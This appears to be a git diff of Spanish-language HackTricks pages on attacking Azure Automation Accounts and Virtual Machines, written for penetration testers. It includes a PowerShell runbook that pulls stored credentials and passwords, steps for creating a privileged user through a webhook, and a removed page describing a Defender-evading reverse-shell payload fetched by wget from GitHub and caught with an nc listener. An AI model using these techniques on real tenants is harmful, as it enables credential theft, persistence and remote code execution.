Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
### Exfiltrar Credenciales y Variables definidas en una Cuenta de Automatización usando un Libro de Ejecución
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
$creds = Get-AutomationPSCredential -Name <credentials_name>
|
||||
$runbook_variable = Get-AutomationVariable -name <variable_name>
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password
|
||||
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
|
||||
|
||||
$ResourceGroupName = '<resource_group_name>'
|
||||
$AutomationAccountName = '<auto_acc_name>'
|
||||
$RunBookName = 'Exif-Credentials' #Change this for stealthness
|
||||
|
||||
# Creare Run book, publish, start, and get output
|
||||
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
|
||||
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
|
||||
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Podrías hacer lo mismo modificando un Run Book existente, y desde la consola web.
|
||||
|
||||
### Pasos para Configurar la Creación Automatizada de un Usuario Altamente Privilegiado
|
||||
|
||||
#### 1. Inicializar una Cuenta de Automatización
|
||||
|
||||
- **Acción Requerida:** Crear una nueva Cuenta de Automatización.
|
||||
- **Configuración Específica:** Asegúrate de que "Crear cuenta de Azure Run As" esté habilitado.
|
||||
|
||||
#### 2. Importar y Configurar Runbook
|
||||
|
||||
- **Fuente:** Descarga el runbook de muestra desde [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Acciones Requeridas:**
|
||||
- Importa el runbook en la Cuenta de Automatización.
|
||||
- Publica el runbook para hacerlo ejecutable.
|
||||
- Adjunta un webhook al runbook, habilitando disparadores externos.
|
||||
|
||||
#### 3. Configurar el Módulo AzureAD
|
||||
|
||||
- **Acción Requerida:** Agrega el módulo AzureAD a la Cuenta de Automatización.
|
||||
- **Paso Adicional:** Asegúrate de que todos los Módulos de Automatización de Azure estén actualizados a sus últimas versiones.
|
||||
|
||||
#### 4. Asignación de Permisos
|
||||
|
||||
- **Roles a Asignar:**
|
||||
- Administrador de Usuarios
|
||||
- Propietario de Suscripción
|
||||
- **Objetivo:** Asigna estos roles a la Cuenta de Automatización para los privilegios necesarios.
|
||||
|
||||
#### 5. Conciencia de la Pérdida Potencial de Acceso
|
||||
|
||||
- **Nota:** Ten en cuenta que configurar tal automatización podría llevar a perder el control sobre la suscripción.
|
||||
|
||||
#### 6. Disparar la Creación de Usuario
|
||||
|
||||
- Dispara el webhook para crear un nuevo usuario enviando una solicitud POST.
|
||||
- Usa el script de PowerShell proporcionado, asegurándote de reemplazar el `$uri` con tu URL de webhook real y actualizando el `$AccountInfo` con el nombre de usuario y la contraseña deseados.
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,57 +0,0 @@
|
||||
# Az - State Configuration RCE
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Consulta la publicación completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Resumen de la Preparación de Infraestructura de Servidor Remoto (C2) y Pasos
|
||||
|
||||
#### Visión General
|
||||
|
||||
El proceso implica configurar una infraestructura de servidor remoto para alojar una carga útil modificada de Nishang `Invoke-PowerShellTcp.ps1`, llamada `RevPS.ps1`, diseñada para eludir Windows Defender. La carga útil se sirve desde una máquina Kali Linux con IP `40.84.7.74` utilizando un servidor HTTP simple en Python. La operación se ejecuta a través de varios pasos:
|
||||
|
||||
#### Paso 1 — Crear Archivos
|
||||
|
||||
- **Archivos Requeridos:** Se necesitan dos scripts de PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Un archivo de Configuración de Estado Deseado (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Un script para publicar la configuración en la VM, disponible en [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Personalización:** Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos los nombres de recursos, rutas de archivos e identificadores de servidor/carga útil.
|
||||
|
||||
#### Paso 2 — Comprimir el Archivo de Configuración
|
||||
|
||||
- El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para la transferencia a la Cuenta de Almacenamiento de Azure.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Paso 3 — Establecer contexto de almacenamiento y cargar
|
||||
|
||||
- El archivo de configuración comprimido se carga en un contenedor de almacenamiento de Azure predefinido, azure-pentest, utilizando el cmdlet Set-AzStorageBlobContent de Azure.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### Paso 4 — Preparar Kali Box
|
||||
|
||||
- El servidor Kali descarga la carga útil RevPS.ps1 de un repositorio de GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.
|
||||
|
||||
#### Paso 5 — Publicar archivo de configuración
|
||||
|
||||
- El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows.
|
||||
|
||||
#### Paso 6 — Alojar carga útil y configurar el oyente
|
||||
|
||||
- Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un oyente de Netcat para capturar conexiones entrantes.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- La tarea programada ejecuta la carga útil, logrando privilegios a nivel de SYSTEM.
|
||||
|
||||
#### Conclusión
|
||||
|
||||
La ejecución exitosa de este proceso abre numerosas posibilidades para acciones adicionales, como el volcado de credenciales o la expansión del ataque a múltiples VMs. La guía fomenta el aprendizaje continuo y la creatividad en el ámbito de Azure Automation DSC.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,227 @@
|
||||
# Az - Cuentas de Automatización
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Las Cuentas de Automatización de Azure son servicios basados en la nube en Microsoft Azure que ayudan a **automatizar tareas** como la gestión de recursos, la configuración y las actualizaciones en entornos de Azure y locales. Proporcionan **Runbooks** (scripts para automatización que se ejecutan), **programaciones** y **grupos de trabajadores híbridos** para ejecutar **trabajos** de automatización, habilitando infraestructura como código (IaC) y automatización de procesos para mejorar la eficiencia y consistencia en la gestión de recursos en la nube.
|
||||
|
||||
### Configuraciones
|
||||
|
||||
- **Credenciales**: La contraseña solo es accesible dentro de un runbook dentro de la cuenta de automatización, se utilizan para **almacenar nombres de usuario y contraseñas de forma segura**.
|
||||
- **Variables**: Se utilizan para almacenar **datos de configuración** que pueden ser utilizados en runbooks. Esto también podría incluir información sensible como claves API. Si la variable está **almacenada encriptada**, solo está disponible dentro de un runbook dentro de la cuenta de automatización.
|
||||
- **Certificados**: Se utilizan para almacenar **certificados** que pueden ser utilizados en runbooks.
|
||||
- **Conexiones**: Se utilizan para almacenar **información de conexión** a servicios externos. Esto podría contener **información sensible**.
|
||||
- **Acceso a la Red**: Se puede establecer como **público** o **privado**.
|
||||
|
||||
## Runbooks y Trabajos
|
||||
|
||||
Un Runbook en Azure Automation es un **script que realiza tareas automáticamente** dentro de tu entorno en la nube. Los runbooks pueden ser escritos en PowerShell, Python o editores gráficos. Ayudan a automatizar tareas administrativas como la gestión de VM, parches o verificaciones de cumplimiento.
|
||||
|
||||
En el **código** ubicado dentro de **Runbooks** podría contener **información sensible** (como credenciales).
|
||||
|
||||
Ve a `Cuentas de Automatización` --> `<Seleccionar Cuenta de Automatización>` --> `Runbooks/Trabajos/Grupos de trabajadores híbridos/Tareas de observador/credenciales/variables/certificados/conexiones`
|
||||
|
||||
Un **Trabajo es una instancia de ejecución de un Runbook**. Cuando ejecutas un Runbook, se crea un Trabajo para rastrear esa ejecución. Cada trabajo incluye:
|
||||
|
||||
- **Estado**: En cola, En ejecución, Completado, Fallido, Suspendido.
|
||||
- **Salida**: El resultado de la ejecución del Runbook.
|
||||
- **Hora de Inicio y Fin**: Cuándo comenzó y se completó el trabajo.
|
||||
|
||||
Un trabajo contiene la **salida** de la **ejecución del Runbook**. Si puedes **leer** los **trabajos**, hazlo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
|
||||
|
||||
### Programaciones y Webhooks
|
||||
|
||||
Hay 3 formas principales de ejecutar un Runbook:
|
||||
|
||||
- **Programaciones**: Se utilizan para **activar** Runbooks en un **hora específica** o **intervalo**.
|
||||
- **Webhooks**: Son **puntos finales HTTP** que pueden ser utilizados para **activar** Runbooks desde **servicios externos**. Ten en cuenta que la URL del webhook **no es visible** después de la creación.
|
||||
- **Activación Manual**: Puedes **activar manualmente** un Runbook desde el Portal de Azure y desde la CLI.
|
||||
|
||||
### Control de Versiones
|
||||
|
||||
Permite importar Runbooks desde **Github, Azure Devops (Git) y Azure Devops (TFVC)**. Es posible indicar que publique los Runbooks del repositorio en la cuenta de Automatización de Azure y también es posible indicar que **sincronice los cambios del repositorio** a la cuenta de Automatización de Azure.
|
||||
|
||||
Cuando la sincronización está habilitada, en el **repositorio de Github se crea un webhook** para activar la sincronización cada vez que ocurre un evento de push. Ejemplo de una URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Ten en cuenta que estos webhooks **no serán visibles** al listar webhooks en los runbooks asociados al repositorio de Github. También ten en cuenta que **no es posible cambiar la URL del repositorio** de un control de versiones una vez creado.
|
||||
|
||||
Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contribuyente`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es posible hacerlo simplemente configurando la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** al **ID de Cliente de la Identidad Administrada de Usuario**.
|
||||
|
||||
### Entornos de Ejecución
|
||||
|
||||
Al crear un Runbook es posible seleccionar el entorno de ejecución. Por defecto, los siguientes entornos de ejecución están disponibles:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
- **PowerShell 7.2**
|
||||
- **Python 3.10**
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
Sin embargo, también es posible **crear tus propios entornos**, utilizando uno de estos como base. En el caso de Python, es posible subir paquetes `.whl` al entorno que se utilizará. En el caso de PowerShell, es posible subir paquetes `.zip` con los módulos que se tendrán en la ejecución.
|
||||
|
||||
### Trabajador Híbrido
|
||||
|
||||
Un Runbook puede ejecutarse en un **contenedor dentro de Azure** o en un **Trabajador Híbrido** (máquina no Azure).\
|
||||
El **Agente de Análisis de Registros** se despliega en la VM para registrarla como un trabajador híbrido.\
|
||||
Los trabajos de trabajadores híbridos se ejecutan como **SYSTEM** en Windows y como cuenta **nxautomation** en Linux.\
|
||||
Cada Trabajador Híbrido está registrado en un **Grupo de Trabajadores Híbridos**.
|
||||
|
||||
Por lo tanto, si puedes elegir ejecutar un **Runbook** en un **Trabajador Híbrido de Windows**, ejecutarás **comandos arbitrarios** dentro de una máquina externa como **System** (buena técnica de pivot).
|
||||
|
||||
### Configuración de Estado (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Configuración de Máquina de Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Las Cuentas de Automatización también soportan **Configuración de Estado (SC)**, que es una característica que ayuda a **configurar** y **mantener** el **estado** de tus VMs. Es posible **crear** y **aplicar** configuraciones DSC a máquinas **Windows** y **Linux**.
|
||||
|
||||
Desde la perspectiva de un atacante, esto era interesante porque permitía **ejecutar código PS arbitrario en todas las VMs configuradas**, permitiendo escalar privilegios a las identidades administradas de estas VMs, potencialmente pivotando a nuevas redes... Además, las configuraciones podrían contener **información sensible**.
|
||||
|
||||
## Enumeración
|
||||
```bash
|
||||
# List Automation Accounts
|
||||
az automation account list --output table
|
||||
|
||||
# Get Automation Account details
|
||||
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
|
||||
# Check the managed identities in `identity`
|
||||
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get keys of automation account
|
||||
## These are used for the DSC
|
||||
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get schedules of automation account
|
||||
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get connections of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
|
||||
|
||||
# Get connection details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
|
||||
|
||||
# Get credentials of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
|
||||
|
||||
# Get credential details
|
||||
## Note that you will only be able to access the password from inside a Runbook
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
|
||||
|
||||
# Get certificates of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
|
||||
|
||||
# Get certificate details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
|
||||
|
||||
# Get variables of automation account
|
||||
## It's possible to get the value of unencrypted variables but not the encrypted ones
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
|
||||
|
||||
# Get variable details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
|
||||
|
||||
# Get runbooks of an automation account
|
||||
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get runbook details
|
||||
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
|
||||
|
||||
# Get runbook content
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
|
||||
|
||||
# Get jobs of an automation account
|
||||
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get job details
|
||||
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
|
||||
|
||||
# Get job output
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
|
||||
# Get the Runbook content when the job was executed
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
|
||||
|
||||
# Get webhooks inside an automation account
|
||||
## It's possible to see to which runbook it belongs in the given data
|
||||
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
|
||||
## Generating a webhook can be useful from a persistence perspective
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
az automation runtime-environment list \
|
||||
--resource-group <res-group>> \
|
||||
--automation-account-name <account-name> \
|
||||
--query "[?!(starts_with(description, 'System-generated'))]"
|
||||
|
||||
# Get State Configurations (SC) of an automation account
|
||||
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get State Configuration details
|
||||
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## Escalación de Privilegios y Post Explotación
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -19,16 +19,16 @@ Las Máquinas Virtuales (VMs) de Azure son servidores **basados en la nube flexi
|
||||
- **Zonas de Disponibilidad**: Las zonas de disponibilidad son grupos distintos de centros de datos dentro de una región específica de Azure que están físicamente separados para minimizar el riesgo de que múltiples zonas se vean afectadas por cortes locales o desastres.
|
||||
- **Tipo de Seguridad**:
|
||||
- **Seguridad Estándar**: Este es el tipo de seguridad predeterminado que no requiere ninguna configuración específica.
|
||||
- **Inicio de Confianza**: Este tipo de seguridad mejora la protección contra kits de arranque y malware a nivel de kernel utilizando Secure Boot y Módulo de Plataforma de Confianza Virtual (vTPM).
|
||||
- **VMs Confidenciales**: Además de un inicio de confianza, ofrece aislamiento basado en hardware entre la VM, el hipervisor y la gestión del host, mejora la encriptación del disco y [**más**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Autenticación**: Por defecto, se genera una **clave SSH nueva**, aunque es posible usar una clave pública o usar una clave anterior y el nombre de usuario por defecto es **azureuser**. También es posible configurar el uso de una **contraseña.**
|
||||
- **Lanzamiento Confiable**: Este tipo de seguridad mejora la protección contra kits de arranque y malware a nivel de kernel utilizando Secure Boot y Módulo de Plataforma de Confianza Virtual (vTPM).
|
||||
- **VMs Confidenciales**: Además de un lanzamiento confiable, ofrece aislamiento basado en hardware entre la VM, el hipervisor y la gestión del host, mejora la encriptación del disco y [**más**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Autenticación**: Por defecto, se genera una nueva **clave SSH**, aunque es posible usar una clave pública o usar una clave anterior y el nombre de usuario por defecto es **azureuser**. También es posible configurar el uso de una **contraseña.**
|
||||
- **Encriptación de disco de VM:** El disco está encriptado en reposo por defecto utilizando una clave gestionada por la plataforma.
|
||||
- También es posible habilitar **Encriptación en el host**, donde los datos se encriptarán en el host antes de enviarlos al servicio de almacenamiento, asegurando una encriptación de extremo a extremo entre el host y el servicio de almacenamiento ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **Grupo de seguridad de red NIC**:
|
||||
- **Ninguno**: Básicamente abre todos los puertos
|
||||
- **Básico**: Permite abrir fácilmente los puertos de entrada HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Avanzado**: Selecciona un grupo de seguridad
|
||||
- **Copia de seguridad**: Es posible habilitar copia de seguridad **Estándar** (una al día) y **Mejorada** (múltiples al día)
|
||||
- **Copia de seguridad**: Es posible habilitar la copia de seguridad **Estándar** (una al día) y **Mejorada** (múltiples al día)
|
||||
- **Opciones de orquestación de parches**: Esto permite aplicar automáticamente parches en las VMs de acuerdo con la política seleccionada como se describe en los [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Alertas**: Es posible recibir automáticamente alertas por correo electrónico o aplicación móvil cuando algo sucede en la VM. Reglas predeterminadas:
|
||||
- El porcentaje de CPU es mayor al 80%
|
||||
@@ -50,7 +50,7 @@ Las Máquinas Virtuales (VMs) de Azure son servidores **basados en la nube flexi
|
||||
- Lo mismo en instantáneas
|
||||
- Por defecto, es posible **compartir el disco desde todas las redes**, pero también se puede **restringir** a ciertos **accesos privados** o **deshabilitar completamente** el acceso público y privado.
|
||||
- Lo mismo en instantáneas
|
||||
- Es posible **generar un URI SAS** (máx. 60 días) para **exportar el disco**, que se puede configurar para requerir autenticación o no
|
||||
- Es posible **generar un URI SAS** (de un máximo de 60 días) para **exportar el disco**, que se puede configurar para requerir autenticación o no
|
||||
- Lo mismo en instantáneas
|
||||
|
||||
{{#tabs}}
|
||||
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## Imágenes, Imágenes de Galería y Puntos de Restauración
|
||||
|
||||
Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como una plantilla para crear nuevas VMs**.\
|
||||
Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como plantilla para crear nuevas VMs**.\
|
||||
Las imágenes se pueden gestionar en la **sección de Imágenes** de Azure o dentro de **galerías de computación de Azure**, lo que permite generar **versiones** y **compartir** la imagen entre inquilinos o incluso hacerla pública.
|
||||
|
||||
Un **punto de restauración** almacena la configuración de la VM y **instantáneas consistentes en el tiempo** de todas las **discos administrados** adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico.
|
||||
Un **punto de restauración** almacena la configuración de la VM y **instantáneas consistentes en el tiempo** de **todos los discos administrados** adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico en el tiempo.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
De los [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery ayuda a garantizar la continuidad del negocio manteniendo las aplicaciones y cargas de trabajo en funcionamiento durante las interrupciones. Site Recovery **replica cargas de trabajo** que se ejecutan en máquinas físicas y virtuales (VMs) desde un sitio principal a una ubicación secundaria. Cuando ocurre una interrupción en su sitio principal, se cambia a una ubicación secundaria y se accede a las aplicaciones desde allí. Después de que la ubicación principal vuelva a funcionar, puede regresar a ella.
|
||||
De los [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery ayuda a garantizar la continuidad del negocio al mantener las aplicaciones y cargas de trabajo en funcionamiento durante las interrupciones. Site Recovery **replica cargas de trabajo** que se ejecutan en máquinas físicas y virtuales (VMs) desde un sitio principal a una ubicación secundaria. Cuando ocurre una interrupción en su sitio principal, se cambia a una ubicación secundaria y se accede a las aplicaciones desde allí. Después de que la ubicación principal vuelva a funcionar, puede regresar a ella.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
||||
|
||||
## Metadatos
|
||||
|
||||
El Servicio de Metadatos de Instancia de Azure (IMDS) **proporciona información sobre las instancias de máquinas virtuales en ejecución** para ayudar con su gestión y configuración. Ofrece detalles como el SKU, almacenamiento, configuraciones de red e información sobre eventos de mantenimiento próximos a través de **REST API disponible en la dirección IP no enrutable 169.254.169.254**, que es accesible solo desde dentro de la VM. La comunicación entre la VM y el IMDS se mantiene dentro del host, asegurando un acceso seguro. Al consultar el IMDS, los clientes HTTP dentro de la VM deben omitir los proxies web para asegurar una comunicación adecuada.
|
||||
